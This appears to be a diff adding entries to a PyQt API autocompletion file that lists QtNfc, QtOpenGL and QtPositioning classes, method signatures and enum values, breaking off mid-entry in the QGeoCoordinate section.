+QtNfc.QNearFieldShareManager.shareModes?4() -> QNearFieldShareManager.ShareModes +QtNfc.QNearFieldShareManager.shareError?4() -> QNearFieldShareManager.ShareError +QtNfc.QNearFieldShareManager.targetDetected?4(QNearFieldShareTarget) +QtNfc.QNearFieldShareManager.shareModesChanged?4(QNearFieldShareManager.ShareModes) +QtNfc.QNearFieldShareManager.error?4(QNearFieldShareManager.ShareError) +QtNfc.QNearFieldShareManager.ShareModes?1() +QtNfc.QNearFieldShareManager.ShareModes.__init__?1(self) +QtNfc.QNearFieldShareManager.ShareModes?1(int) +QtNfc.QNearFieldShareManager.ShareModes.__init__?1(self, int) +QtNfc.QNearFieldShareManager.ShareModes?1(QNearFieldShareManager.ShareModes) +QtNfc.QNearFieldShareManager.ShareModes.__init__?1(self, QNearFieldShareManager.ShareModes) +QtNfc.QNearFieldShareTarget.shareModes?4() -> QNearFieldShareManager.ShareModes +QtNfc.QNearFieldShareTarget.share?4(QNdefMessage) -> bool +QtNfc.QNearFieldShareTarget.share?4(unknown-type) -> bool +QtNfc.QNearFieldShareTarget.cancel?4() +QtNfc.QNearFieldShareTarget.isShareInProgress?4() -> bool +QtNfc.QNearFieldShareTarget.shareError?4() -> QNearFieldShareManager.ShareError +QtNfc.QNearFieldShareTarget.error?4(QNearFieldShareManager.ShareError) +QtNfc.QNearFieldShareTarget.shareFinished?4() +QtNfc.QNearFieldTarget.Error?10 +QtNfc.QNearFieldTarget.Error.NoError?10 +QtNfc.QNearFieldTarget.Error.UnknownError?10 +QtNfc.QNearFieldTarget.Error.UnsupportedError?10 +QtNfc.QNearFieldTarget.Error.TargetOutOfRangeError?10 +QtNfc.QNearFieldTarget.Error.NoResponseError?10 +QtNfc.QNearFieldTarget.Error.ChecksumMismatchError?10 +QtNfc.QNearFieldTarget.Error.InvalidParametersError?10 +QtNfc.QNearFieldTarget.Error.NdefReadError?10 +QtNfc.QNearFieldTarget.Error.NdefWriteError?10 +QtNfc.QNearFieldTarget.Error.CommandError?10 +QtNfc.QNearFieldTarget.AccessMethod?10 +QtNfc.QNearFieldTarget.AccessMethod.UnknownAccess?10 +QtNfc.QNearFieldTarget.AccessMethod.NdefAccess?10 +QtNfc.QNearFieldTarget.AccessMethod.TagTypeSpecificAccess?10 +QtNfc.QNearFieldTarget.AccessMethod.LlcpAccess?10 +QtNfc.QNearFieldTarget.Type?10 +QtNfc.QNearFieldTarget.Type.ProprietaryTag?10 +QtNfc.QNearFieldTarget.Type.NfcTagType1?10 +QtNfc.QNearFieldTarget.Type.NfcTagType2?10 +QtNfc.QNearFieldTarget.Type.NfcTagType3?10 +QtNfc.QNearFieldTarget.Type.NfcTagType4?10 +QtNfc.QNearFieldTarget.Type.MifareTag?10 +QtNfc.QNearFieldTarget?1(QObject parent=None) +QtNfc.QNearFieldTarget.__init__?1(self, QObject parent=None) +QtNfc.QNearFieldTarget.uid?4() -> QByteArray +QtNfc.QNearFieldTarget.url?4() -> QUrl +QtNfc.QNearFieldTarget.type?4() -> QNearFieldTarget.Type +QtNfc.QNearFieldTarget.accessMethods?4() -> QNearFieldTarget.AccessMethods +QtNfc.QNearFieldTarget.isProcessingCommand?4() -> bool +QtNfc.QNearFieldTarget.hasNdefMessage?4() -> bool +QtNfc.QNearFieldTarget.readNdefMessages?4() -> QNearFieldTarget.RequestId +QtNfc.QNearFieldTarget.writeNdefMessages?4(unknown-type) -> QNearFieldTarget.RequestId +QtNfc.QNearFieldTarget.sendCommand?4(QByteArray) -> QNearFieldTarget.RequestId +QtNfc.QNearFieldTarget.sendCommands?4(unknown-type) -> QNearFieldTarget.RequestId +QtNfc.QNearFieldTarget.waitForRequestCompleted?4(QNearFieldTarget.RequestId, int msecs=5000) -> bool +QtNfc.QNearFieldTarget.requestResponse?4(QNearFieldTarget.RequestId) -> QVariant +QtNfc.QNearFieldTarget.setResponseForRequest?4(QNearFieldTarget.RequestId, QVariant, bool emitRequestCompleted=True) +QtNfc.QNearFieldTarget.handleResponse?4(QNearFieldTarget.RequestId, QByteArray) -> bool +QtNfc.QNearFieldTarget.reportError?4(QNearFieldTarget.Error, QNearFieldTarget.RequestId) +QtNfc.QNearFieldTarget.disconnected?4() +QtNfc.QNearFieldTarget.ndefMessageRead?4(QNdefMessage) +QtNfc.QNearFieldTarget.ndefMessagesWritten?4() +QtNfc.QNearFieldTarget.requestCompleted?4(QNearFieldTarget.RequestId) +QtNfc.QNearFieldTarget.error?4(QNearFieldTarget.Error, QNearFieldTarget.RequestId) +QtNfc.QNearFieldTarget.keepConnection?4() -> bool +QtNfc.QNearFieldTarget.setKeepConnection?4(bool) -> bool +QtNfc.QNearFieldTarget.disconnect?4() -> bool +QtNfc.QNearFieldTarget.maxCommandLength?4() -> int +QtNfc.QNearFieldTarget.AccessMethods?1() +QtNfc.QNearFieldTarget.AccessMethods.__init__?1(self) +QtNfc.QNearFieldTarget.AccessMethods?1(int) +QtNfc.QNearFieldTarget.AccessMethods.__init__?1(self, int) +QtNfc.QNearFieldTarget.AccessMethods?1(QNearFieldTarget.AccessMethods) +QtNfc.QNearFieldTarget.AccessMethods.__init__?1(self, QNearFieldTarget.AccessMethods) +QtNfc.QNearFieldTarget.RequestId?1() +QtNfc.QNearFieldTarget.RequestId.__init__?1(self) +QtNfc.QNearFieldTarget.RequestId?1(QNearFieldTarget.RequestId) +QtNfc.QNearFieldTarget.RequestId.__init__?1(self, QNearFieldTarget.RequestId) +QtNfc.QNearFieldTarget.RequestId.isValid?4() -> bool +QtNfc.QNearFieldTarget.RequestId.refCount?4() -> int +QtNfc.QQmlNdefRecord.TypeNameFormat?10 +QtNfc.QQmlNdefRecord.TypeNameFormat.Empty?10 +QtNfc.QQmlNdefRecord.TypeNameFormat.NfcRtd?10 +QtNfc.QQmlNdefRecord.TypeNameFormat.Mime?10 +QtNfc.QQmlNdefRecord.TypeNameFormat.Uri?10 +QtNfc.QQmlNdefRecord.TypeNameFormat.ExternalRtd?10 +QtNfc.QQmlNdefRecord.TypeNameFormat.Unknown?10 +QtNfc.QQmlNdefRecord?1(QObject parent=None) +QtNfc.QQmlNdefRecord.__init__?1(self, QObject parent=None) +QtNfc.QQmlNdefRecord?1(QNdefRecord, QObject parent=None) +QtNfc.QQmlNdefRecord.__init__?1(self, QNdefRecord, QObject parent=None) +QtNfc.QQmlNdefRecord.type?4() -> QString +QtNfc.QQmlNdefRecord.setType?4(QString) +QtNfc.QQmlNdefRecord.setTypeNameFormat?4(QQmlNdefRecord.TypeNameFormat) +QtNfc.QQmlNdefRecord.typeNameFormat?4() -> QQmlNdefRecord.TypeNameFormat +QtNfc.QQmlNdefRecord.record?4() -> QNdefRecord +QtNfc.QQmlNdefRecord.setRecord?4(QNdefRecord) +QtNfc.QQmlNdefRecord.typeChanged?4() +QtNfc.QQmlNdefRecord.typeNameFormatChanged?4() +QtNfc.QQmlNdefRecord.recordChanged?4() +QtOpenGL.QGL.FormatOption?10 +QtOpenGL.QGL.FormatOption.DoubleBuffer?10 +QtOpenGL.QGL.FormatOption.DepthBuffer?10 +QtOpenGL.QGL.FormatOption.Rgba?10 +QtOpenGL.QGL.FormatOption.AlphaChannel?10 +QtOpenGL.QGL.FormatOption.AccumBuffer?10 +QtOpenGL.QGL.FormatOption.StencilBuffer?10 +QtOpenGL.QGL.FormatOption.StereoBuffers?10 +QtOpenGL.QGL.FormatOption.DirectRendering?10 +QtOpenGL.QGL.FormatOption.HasOverlay?10 +QtOpenGL.QGL.FormatOption.SampleBuffers?10 +QtOpenGL.QGL.FormatOption.SingleBuffer?10 +QtOpenGL.QGL.FormatOption.NoDepthBuffer?10 +QtOpenGL.QGL.FormatOption.ColorIndex?10 +QtOpenGL.QGL.FormatOption.NoAlphaChannel?10 +QtOpenGL.QGL.FormatOption.NoAccumBuffer?10 +QtOpenGL.QGL.FormatOption.NoStencilBuffer?10 +QtOpenGL.QGL.FormatOption.NoStereoBuffers?10 +QtOpenGL.QGL.FormatOption.IndirectRendering?10 +QtOpenGL.QGL.FormatOption.NoOverlay?10 +QtOpenGL.QGL.FormatOption.NoSampleBuffers?10 +QtOpenGL.QGL.FormatOption.DeprecatedFunctions?10 +QtOpenGL.QGL.FormatOption.NoDeprecatedFunctions?10 +QtOpenGL.QGL.FormatOptions?1() +QtOpenGL.QGL.FormatOptions.__init__?1(self) +QtOpenGL.QGL.FormatOptions?1(int) +QtOpenGL.QGL.FormatOptions.__init__?1(self, int) +QtOpenGL.QGL.FormatOptions?1(QGL.FormatOptions) +QtOpenGL.QGL.FormatOptions.__init__?1(self, QGL.FormatOptions) +QtOpenGL.QGLFormat.OpenGLContextProfile?10 +QtOpenGL.QGLFormat.OpenGLContextProfile.NoProfile?10 +QtOpenGL.QGLFormat.OpenGLContextProfile.CoreProfile?10 +QtOpenGL.QGLFormat.OpenGLContextProfile.CompatibilityProfile?10 +QtOpenGL.QGLFormat.OpenGLVersionFlag?10 +QtOpenGL.QGLFormat.OpenGLVersionFlag.OpenGL_Version_None?10 +QtOpenGL.QGLFormat.OpenGLVersionFlag.OpenGL_Version_1_1?10 +QtOpenGL.QGLFormat.OpenGLVersionFlag.OpenGL_Version_1_2?10 +QtOpenGL.QGLFormat.OpenGLVersionFlag.OpenGL_Version_1_3?10 +QtOpenGL.QGLFormat.OpenGLVersionFlag.OpenGL_Version_1_4?10 +QtOpenGL.QGLFormat.OpenGLVersionFlag.OpenGL_Version_1_5?10 +QtOpenGL.QGLFormat.OpenGLVersionFlag.OpenGL_Version_2_0?10 +QtOpenGL.QGLFormat.OpenGLVersionFlag.OpenGL_Version_2_1?10 +QtOpenGL.QGLFormat.OpenGLVersionFlag.OpenGL_Version_3_0?10 +QtOpenGL.QGLFormat.OpenGLVersionFlag.OpenGL_Version_3_1?10 +QtOpenGL.QGLFormat.OpenGLVersionFlag.OpenGL_Version_3_2?10 +QtOpenGL.QGLFormat.OpenGLVersionFlag.OpenGL_Version_3_3?10 +QtOpenGL.QGLFormat.OpenGLVersionFlag.OpenGL_Version_4_0?10 +QtOpenGL.QGLFormat.OpenGLVersionFlag.OpenGL_Version_4_1?10 +QtOpenGL.QGLFormat.OpenGLVersionFlag.OpenGL_Version_4_2?10 +QtOpenGL.QGLFormat.OpenGLVersionFlag.OpenGL_Version_4_3?10 +QtOpenGL.QGLFormat.OpenGLVersionFlag.OpenGL_ES_Common_Version_1_0?10 +QtOpenGL.QGLFormat.OpenGLVersionFlag.OpenGL_ES_CommonLite_Version_1_0?10 +QtOpenGL.QGLFormat.OpenGLVersionFlag.OpenGL_ES_Common_Version_1_1?10 +QtOpenGL.QGLFormat.OpenGLVersionFlag.OpenGL_ES_CommonLite_Version_1_1?10 +QtOpenGL.QGLFormat.OpenGLVersionFlag.OpenGL_ES_Version_2_0?10 +QtOpenGL.QGLFormat?1() +QtOpenGL.QGLFormat.__init__?1(self) +QtOpenGL.QGLFormat?1(QGL.FormatOptions, int plane=0) +QtOpenGL.QGLFormat.__init__?1(self, QGL.FormatOptions, int plane=0) +QtOpenGL.QGLFormat?1(QGLFormat) +QtOpenGL.QGLFormat.__init__?1(self, QGLFormat) +QtOpenGL.QGLFormat.setDepthBufferSize?4(int) +QtOpenGL.QGLFormat.depthBufferSize?4() -> int +QtOpenGL.QGLFormat.setAccumBufferSize?4(int) +QtOpenGL.QGLFormat.accumBufferSize?4() -> int +QtOpenGL.QGLFormat.setAlphaBufferSize?4(int) +QtOpenGL.QGLFormat.alphaBufferSize?4() -> int +QtOpenGL.QGLFormat.setStencilBufferSize?4(int) +QtOpenGL.QGLFormat.stencilBufferSize?4() -> int +QtOpenGL.QGLFormat.setSampleBuffers?4(bool) +QtOpenGL.QGLFormat.setSamples?4(int) +QtOpenGL.QGLFormat.samples?4() -> int +QtOpenGL.QGLFormat.setDoubleBuffer?4(bool) +QtOpenGL.QGLFormat.setDepth?4(bool) +QtOpenGL.QGLFormat.setRgba?4(bool) +QtOpenGL.QGLFormat.setAlpha?4(bool) +QtOpenGL.QGLFormat.setAccum?4(bool) +QtOpenGL.QGLFormat.setStencil?4(bool) +QtOpenGL.QGLFormat.setStereo?4(bool) +QtOpenGL.QGLFormat.setDirectRendering?4(bool) +QtOpenGL.QGLFormat.setOverlay?4(bool) +QtOpenGL.QGLFormat.plane?4() -> int +QtOpenGL.QGLFormat.setPlane?4(int) +QtOpenGL.QGLFormat.setOption?4(QGL.FormatOptions) +QtOpenGL.QGLFormat.testOption?4(QGL.FormatOptions) -> bool +QtOpenGL.QGLFormat.defaultFormat?4() -> QGLFormat +QtOpenGL.QGLFormat.setDefaultFormat?4(QGLFormat) +QtOpenGL.QGLFormat.defaultOverlayFormat?4() -> QGLFormat +QtOpenGL.QGLFormat.setDefaultOverlayFormat?4(QGLFormat) +QtOpenGL.QGLFormat.hasOpenGL?4() -> bool +QtOpenGL.QGLFormat.hasOpenGLOverlays?4() -> bool +QtOpenGL.QGLFormat.doubleBuffer?4() -> bool +QtOpenGL.QGLFormat.depth?4() -> bool +QtOpenGL.QGLFormat.rgba?4() -> bool +QtOpenGL.QGLFormat.alpha?4() -> bool +QtOpenGL.QGLFormat.accum?4() -> bool +QtOpenGL.QGLFormat.stencil?4() -> bool +QtOpenGL.QGLFormat.stereo?4() -> bool +QtOpenGL.QGLFormat.directRendering?4() -> bool +QtOpenGL.QGLFormat.hasOverlay?4() -> bool +QtOpenGL.QGLFormat.sampleBuffers?4() -> bool +QtOpenGL.QGLFormat.setRedBufferSize?4(int) +QtOpenGL.QGLFormat.redBufferSize?4() -> int +QtOpenGL.QGLFormat.setGreenBufferSize?4(int) +QtOpenGL.QGLFormat.greenBufferSize?4() -> int +QtOpenGL.QGLFormat.setBlueBufferSize?4(int) +QtOpenGL.QGLFormat.blueBufferSize?4() -> int +QtOpenGL.QGLFormat.setSwapInterval?4(int) +QtOpenGL.QGLFormat.swapInterval?4() -> int +QtOpenGL.QGLFormat.openGLVersionFlags?4() -> QGLFormat.OpenGLVersionFlags +QtOpenGL.QGLFormat.setVersion?4(int, int) +QtOpenGL.QGLFormat.majorVersion?4() -> int +QtOpenGL.QGLFormat.minorVersion?4() -> int +QtOpenGL.QGLFormat.setProfile?4(QGLFormat.OpenGLContextProfile) +QtOpenGL.QGLFormat.profile?4() -> QGLFormat.OpenGLContextProfile +QtOpenGL.QGLFormat.OpenGLVersionFlags?1() +QtOpenGL.QGLFormat.OpenGLVersionFlags.__init__?1(self) +QtOpenGL.QGLFormat.OpenGLVersionFlags?1(int) +QtOpenGL.QGLFormat.OpenGLVersionFlags.__init__?1(self, int) +QtOpenGL.QGLFormat.OpenGLVersionFlags?1(QGLFormat.OpenGLVersionFlags) +QtOpenGL.QGLFormat.OpenGLVersionFlags.__init__?1(self, QGLFormat.OpenGLVersionFlags) +QtOpenGL.QGLContext.BindOption?10 +QtOpenGL.QGLContext.BindOption.NoBindOption?10 +QtOpenGL.QGLContext.BindOption.InvertedYBindOption?10 +QtOpenGL.QGLContext.BindOption.MipmapBindOption?10 +QtOpenGL.QGLContext.BindOption.PremultipliedAlphaBindOption?10 +QtOpenGL.QGLContext.BindOption.LinearFilteringBindOption?10 +QtOpenGL.QGLContext.BindOption.DefaultBindOption?10 +QtOpenGL.QGLContext?1(QGLFormat) +QtOpenGL.QGLContext.__init__?1(self, QGLFormat) +QtOpenGL.QGLContext.create?4(QGLContext shareContext=None) -> bool +QtOpenGL.QGLContext.isValid?4() -> bool +QtOpenGL.QGLContext.isSharing?4() -> bool +QtOpenGL.QGLContext.reset?4() +QtOpenGL.QGLContext.format?4() -> QGLFormat +QtOpenGL.QGLContext.requestedFormat?4() -> QGLFormat +QtOpenGL.QGLContext.setFormat?4(QGLFormat) +QtOpenGL.QGLContext.makeCurrent?4() +QtOpenGL.QGLContext.doneCurrent?4() +QtOpenGL.QGLContext.swapBuffers?4() +QtOpenGL.QGLContext.bindTexture?4(QImage, int target=GL_TEXTURE_2D, int format=GL_RGBA) -> int +QtOpenGL.QGLContext.bindTexture?4(QPixmap, int target=GL_TEXTURE_2D, int format=GL_RGBA) -> int +QtOpenGL.QGLContext.drawTexture?4(QRectF, int, int textureTarget=GL_TEXTURE_2D) +QtOpenGL.QGLContext.drawTexture?4(QPointF, int, int textureTarget=GL_TEXTURE_2D) +QtOpenGL.QGLContext.bindTexture?4(QString) -> int +QtOpenGL.QGLContext.deleteTexture?4(int) +QtOpenGL.QGLContext.setTextureCacheLimit?4(int) +QtOpenGL.QGLContext.textureCacheLimit?4() -> int +QtOpenGL.QGLContext.getProcAddress?4(QString) -> sip.voidptr +QtOpenGL.QGLContext.device?4() -> QPaintDevice +QtOpenGL.QGLContext.overlayTransparentColor?4() -> QColor +QtOpenGL.QGLContext.currentContext?4() -> QGLContext +QtOpenGL.QGLContext.chooseContext?4(QGLContext shareContext=None) -> bool +QtOpenGL.QGLContext.deviceIsPixmap?4() -> bool +QtOpenGL.QGLContext.windowCreated?4() -> bool +QtOpenGL.QGLContext.setWindowCreated?4(bool) +QtOpenGL.QGLContext.initialized?4() -> bool +QtOpenGL.QGLContext.setInitialized?4(bool) +QtOpenGL.QGLContext.areSharing?4(QGLContext, QGLContext) -> bool +QtOpenGL.QGLContext.bindTexture?4(QImage, int, int, QGLContext.BindOptions) -> int +QtOpenGL.QGLContext.bindTexture?4(QPixmap, int, int, QGLContext.BindOptions) -> int +QtOpenGL.QGLContext.moveToThread?4(QThread) +QtOpenGL.QGLContext.BindOptions?1() +QtOpenGL.QGLContext.BindOptions.__init__?1(self) +QtOpenGL.QGLContext.BindOptions?1(int) +QtOpenGL.QGLContext.BindOptions.__init__?1(self, int) +QtOpenGL.QGLContext.BindOptions?1(QGLContext.BindOptions) +QtOpenGL.QGLContext.BindOptions.__init__?1(self, QGLContext.BindOptions) +QtOpenGL.QGLWidget?1(QWidget parent=None, QGLWidget shareWidget=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtOpenGL.QGLWidget.__init__?1(self, QWidget parent=None, QGLWidget shareWidget=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtOpenGL.QGLWidget?1(QGLContext, QWidget parent=None, QGLWidget shareWidget=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtOpenGL.QGLWidget.__init__?1(self, QGLContext, QWidget parent=None, QGLWidget shareWidget=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtOpenGL.QGLWidget?1(QGLFormat, QWidget parent=None, QGLWidget shareWidget=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtOpenGL.QGLWidget.__init__?1(self, QGLFormat, QWidget parent=None, QGLWidget shareWidget=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtOpenGL.QGLWidget.qglColor?4(QColor) +QtOpenGL.QGLWidget.qglClearColor?4(QColor) +QtOpenGL.QGLWidget.isValid?4() -> bool +QtOpenGL.QGLWidget.isSharing?4() -> bool +QtOpenGL.QGLWidget.makeCurrent?4() +QtOpenGL.QGLWidget.doneCurrent?4() +QtOpenGL.QGLWidget.doubleBuffer?4() -> bool +QtOpenGL.QGLWidget.swapBuffers?4() +QtOpenGL.QGLWidget.format?4() -> QGLFormat +QtOpenGL.QGLWidget.context?4() -> QGLContext +QtOpenGL.QGLWidget.setContext?4(QGLContext, QGLContext shareContext=None, bool deleteOldContext=True) +QtOpenGL.QGLWidget.renderPixmap?4(int width=0, int height=0, bool useContext=False) -> QPixmap +QtOpenGL.QGLWidget.grabFrameBuffer?4(bool withAlpha=False) -> QImage +QtOpenGL.QGLWidget.makeOverlayCurrent?4() +QtOpenGL.QGLWidget.overlayContext?4() -> QGLContext +QtOpenGL.QGLWidget.convertToGLFormat?4(QImage) -> QImage +QtOpenGL.QGLWidget.renderText?4(int, int, QString, QFont font=QFont()) +QtOpenGL.QGLWidget.renderText?4(float, float, float, QString, QFont font=QFont()) +QtOpenGL.QGLWidget.paintEngine?4() -> QPaintEngine +QtOpenGL.QGLWidget.bindTexture?4(QImage, int target=GL_TEXTURE_2D, int format=GL_RGBA) -> int +QtOpenGL.QGLWidget.bindTexture?4(QPixmap, int target=GL_TEXTURE_2D, int format=GL_RGBA) -> int +QtOpenGL.QGLWidget.bindTexture?4(QString) -> int +QtOpenGL.QGLWidget.drawTexture?4(QRectF, int, int textureTarget=GL_TEXTURE_2D) +QtOpenGL.QGLWidget.drawTexture?4(QPointF, int, int textureTarget=GL_TEXTURE_2D) +QtOpenGL.QGLWidget.deleteTexture?4(int) +QtOpenGL.QGLWidget.updateGL?4() +QtOpenGL.QGLWidget.updateOverlayGL?4() +QtOpenGL.QGLWidget.event?4(QEvent) -> bool +QtOpenGL.QGLWidget.initializeGL?4() +QtOpenGL.QGLWidget.resizeGL?4(int, int) +QtOpenGL.QGLWidget.paintGL?4() +QtOpenGL.QGLWidget.initializeOverlayGL?4() +QtOpenGL.QGLWidget.resizeOverlayGL?4(int, int) +QtOpenGL.QGLWidget.paintOverlayGL?4() +QtOpenGL.QGLWidget.setAutoBufferSwap?4(bool) +QtOpenGL.QGLWidget.autoBufferSwap?4() -> bool +QtOpenGL.QGLWidget.paintEvent?4(QPaintEvent) +QtOpenGL.QGLWidget.resizeEvent?4(QResizeEvent) +QtOpenGL.QGLWidget.glInit?4() +QtOpenGL.QGLWidget.glDraw?4() +QtOpenGL.QGLWidget.bindTexture?4(QImage, int, int, QGLContext.BindOptions) -> int +QtOpenGL.QGLWidget.bindTexture?4(QPixmap, int, int, QGLContext.BindOptions) -> int +QtPositioning.QGeoAddress?1() +QtPositioning.QGeoAddress.__init__?1(self) +QtPositioning.QGeoAddress?1(QGeoAddress) +QtPositioning.QGeoAddress.__init__?1(self, QGeoAddress) +QtPositioning.QGeoAddress.text?4() -> QString +QtPositioning.QGeoAddress.setText?4(QString) +QtPositioning.QGeoAddress.country?4() -> QString +QtPositioning.QGeoAddress.setCountry?4(QString) +QtPositioning.QGeoAddress.countryCode?4() -> QString +QtPositioning.QGeoAddress.setCountryCode?4(QString) +QtPositioning.QGeoAddress.state?4() -> QString +QtPositioning.QGeoAddress.setState?4(QString) +QtPositioning.QGeoAddress.county?4() -> QString +QtPositioning.QGeoAddress.setCounty?4(QString) +QtPositioning.QGeoAddress.city?4() -> QString +QtPositioning.QGeoAddress.setCity?4(QString) +QtPositioning.QGeoAddress.district?4() -> QString +QtPositioning.QGeoAddress.setDistrict?4(QString) +QtPositioning.QGeoAddress.postalCode?4() -> QString +QtPositioning.QGeoAddress.setPostalCode?4(QString) +QtPositioning.QGeoAddress.street?4() -> QString +QtPositioning.QGeoAddress.setStreet?4(QString) +QtPositioning.QGeoAddress.isEmpty?4() -> bool +QtPositioning.QGeoAddress.clear?4() +QtPositioning.QGeoAddress.isTextGenerated?4() -> bool +QtPositioning.QGeoAreaMonitorInfo?1(QString name='') +QtPositioning.QGeoAreaMonitorInfo.__init__?1(self, QString name='') +QtPositioning.QGeoAreaMonitorInfo?1(QGeoAreaMonitorInfo) +QtPositioning.QGeoAreaMonitorInfo.__init__?1(self, QGeoAreaMonitorInfo) +QtPositioning.QGeoAreaMonitorInfo.name?4() -> QString +QtPositioning.QGeoAreaMonitorInfo.setName?4(QString) +QtPositioning.QGeoAreaMonitorInfo.identifier?4() -> QString +QtPositioning.QGeoAreaMonitorInfo.isValid?4() -> bool +QtPositioning.QGeoAreaMonitorInfo.area?4() -> QGeoShape +QtPositioning.QGeoAreaMonitorInfo.setArea?4(QGeoShape) +QtPositioning.QGeoAreaMonitorInfo.expiration?4() -> QDateTime +QtPositioning.QGeoAreaMonitorInfo.setExpiration?4(QDateTime) +QtPositioning.QGeoAreaMonitorInfo.isPersistent?4() -> bool +QtPositioning.QGeoAreaMonitorInfo.setPersistent?4(bool) +QtPositioning.QGeoAreaMonitorInfo.notificationParameters?4() -> QVariantMap +QtPositioning.QGeoAreaMonitorInfo.setNotificationParameters?4(QVariantMap) +QtPositioning.QGeoAreaMonitorSource.AreaMonitorFeature?10 +QtPositioning.QGeoAreaMonitorSource.AreaMonitorFeature.PersistentAreaMonitorFeature?10 +QtPositioning.QGeoAreaMonitorSource.AreaMonitorFeature.AnyAreaMonitorFeature?10 +QtPositioning.QGeoAreaMonitorSource.Error?10 +QtPositioning.QGeoAreaMonitorSource.Error.AccessError?10 +QtPositioning.QGeoAreaMonitorSource.Error.InsufficientPositionInfo?10 +QtPositioning.QGeoAreaMonitorSource.Error.UnknownSourceError?10 +QtPositioning.QGeoAreaMonitorSource.Error.NoError?10 +QtPositioning.QGeoAreaMonitorSource?1(QObject) +QtPositioning.QGeoAreaMonitorSource.__init__?1(self, QObject) +QtPositioning.QGeoAreaMonitorSource.createDefaultSource?4(QObject) -> QGeoAreaMonitorSource +QtPositioning.QGeoAreaMonitorSource.createSource?4(QString, QObject) -> QGeoAreaMonitorSource +QtPositioning.QGeoAreaMonitorSource.availableSources?4() -> QStringList +QtPositioning.QGeoAreaMonitorSource.setPositionInfoSource?4(QGeoPositionInfoSource) +QtPositioning.QGeoAreaMonitorSource.positionInfoSource?4() -> QGeoPositionInfoSource +QtPositioning.QGeoAreaMonitorSource.sourceName?4() -> QString +QtPositioning.QGeoAreaMonitorSource.error?4() -> QGeoAreaMonitorSource.Error +QtPositioning.QGeoAreaMonitorSource.supportedAreaMonitorFeatures?4() -> QGeoAreaMonitorSource.AreaMonitorFeatures +QtPositioning.QGeoAreaMonitorSource.startMonitoring?4(QGeoAreaMonitorInfo) -> bool +QtPositioning.QGeoAreaMonitorSource.stopMonitoring?4(QGeoAreaMonitorInfo) -> bool +QtPositioning.QGeoAreaMonitorSource.requestUpdate?4(QGeoAreaMonitorInfo, str) -> bool +QtPositioning.QGeoAreaMonitorSource.activeMonitors?4() -> unknown-type +QtPositioning.QGeoAreaMonitorSource.activeMonitors?4(QGeoShape) -> unknown-type +QtPositioning.QGeoAreaMonitorSource.areaEntered?4(QGeoAreaMonitorInfo, QGeoPositionInfo) +QtPositioning.QGeoAreaMonitorSource.areaExited?4(QGeoAreaMonitorInfo, QGeoPositionInfo) +QtPositioning.QGeoAreaMonitorSource.monitorExpired?4(QGeoAreaMonitorInfo) +QtPositioning.QGeoAreaMonitorSource.error?4(QGeoAreaMonitorSource.Error) +QtPositioning.QGeoAreaMonitorSource.AreaMonitorFeatures?1() +QtPositioning.QGeoAreaMonitorSource.AreaMonitorFeatures.__init__?1(self) +QtPositioning.QGeoAreaMonitorSource.AreaMonitorFeatures?1(int) +QtPositioning.QGeoAreaMonitorSource.AreaMonitorFeatures.__init__?1(self, int) +QtPositioning.QGeoAreaMonitorSource.AreaMonitorFeatures?1(QGeoAreaMonitorSource.AreaMonitorFeatures) +QtPositioning.QGeoAreaMonitorSource.AreaMonitorFeatures.__init__?1(self, QGeoAreaMonitorSource.AreaMonitorFeatures) +QtPositioning.QGeoShape.ShapeType?10 +QtPositioning.QGeoShape.ShapeType.UnknownType?10 +QtPositioning.QGeoShape.ShapeType.RectangleType?10 +QtPositioning.QGeoShape.ShapeType.CircleType?10 +QtPositioning.QGeoShape.ShapeType.PathType?10 +QtPositioning.QGeoShape.ShapeType.PolygonType?10 +QtPositioning.QGeoShape?1() +QtPositioning.QGeoShape.__init__?1(self) +QtPositioning.QGeoShape?1(QGeoShape) +QtPositioning.QGeoShape.__init__?1(self, QGeoShape) +QtPositioning.QGeoShape.type?4() -> QGeoShape.ShapeType +QtPositioning.QGeoShape.isValid?4() -> bool +QtPositioning.QGeoShape.isEmpty?4() -> bool +QtPositioning.QGeoShape.contains?4(QGeoCoordinate) -> bool +QtPositioning.QGeoShape.extendShape?4(QGeoCoordinate) +QtPositioning.QGeoShape.center?4() -> QGeoCoordinate +QtPositioning.QGeoShape.toString?4() -> QString +QtPositioning.QGeoShape.boundingGeoRectangle?4() -> QGeoRectangle +QtPositioning.QGeoCircle?1() +QtPositioning.QGeoCircle.__init__?1(self) +QtPositioning.QGeoCircle?1(QGeoCoordinate, float radius=-1) +QtPositioning.QGeoCircle.__init__?1(self, QGeoCoordinate, float radius=-1) +QtPositioning.QGeoCircle?1(QGeoCircle) +QtPositioning.QGeoCircle.__init__?1(self, QGeoCircle) +QtPositioning.QGeoCircle?1(QGeoShape) +QtPositioning.QGeoCircle.__init__?1(self, QGeoShape) +QtPositioning.QGeoCircle.setCenter?4(QGeoCoordinate) +QtPositioning.QGeoCircle.center?4() -> QGeoCoordinate +QtPositioning.QGeoCircle.setRadius?4(float) +QtPositioning.QGeoCircle.radius?4() -> float +QtPositioning.QGeoCircle.translate?4(float, float) +QtPositioning.QGeoCircle.translated?4(float, float) -> QGeoCircle +QtPositioning.QGeoCircle.toString?4() -> QString +QtPositioning.QGeoCircle.extendCircle?4(QGeoCoordinate) +QtPositioning.QGeoCoordinate.CoordinateFormat?10 +QtPositioning.QGeoCoordinate.CoordinateFormat.Degrees?10 +QtPositioning.QGeoCoordinate.CoordinateFormat.DegreesWithHemisphere?10 +QtPositioning.QGeoCoordinate.CoordinateFormat.DegreesMinutes?10 +QtPositioning.QGeoCoordinate.CoordinateFormat.DegreesMinutesWithHemisphere?10 +QtPositioning.QGeoCoordinate.CoordinateFormat.DegreesMinutesSeconds?10 +QtPositioning.QGeoCoordinate.CoordinateFormat.DegreesMinutesSecondsWithHemisphere?10 +QtPositioning.QGeoCoordinate.CoordinateType?10 +QtPositioning.QGeoCoordinate.CoordinateType.InvalidCoordinate?10 +QtPositioning.QGeoCoordinate.CoordinateType.Coordinate2D?10 +QtPositioning.QGeoCoordinate.CoordinateType.Coordinate3D?10 +QtPositioning.QGeoCoordinate?1() +QtPositioning.QGeoCoordinate.__init__?1(self) +QtPositioning.QGeoCoordinate?1(float, float) +QtPositioning.QGeoCoordinate.__init__?1(self, float, float) +QtPositioning.QGeoCoordinate?1(float, float, float) +QtPositioning.QGeoCoordinate.__init__?1(self, 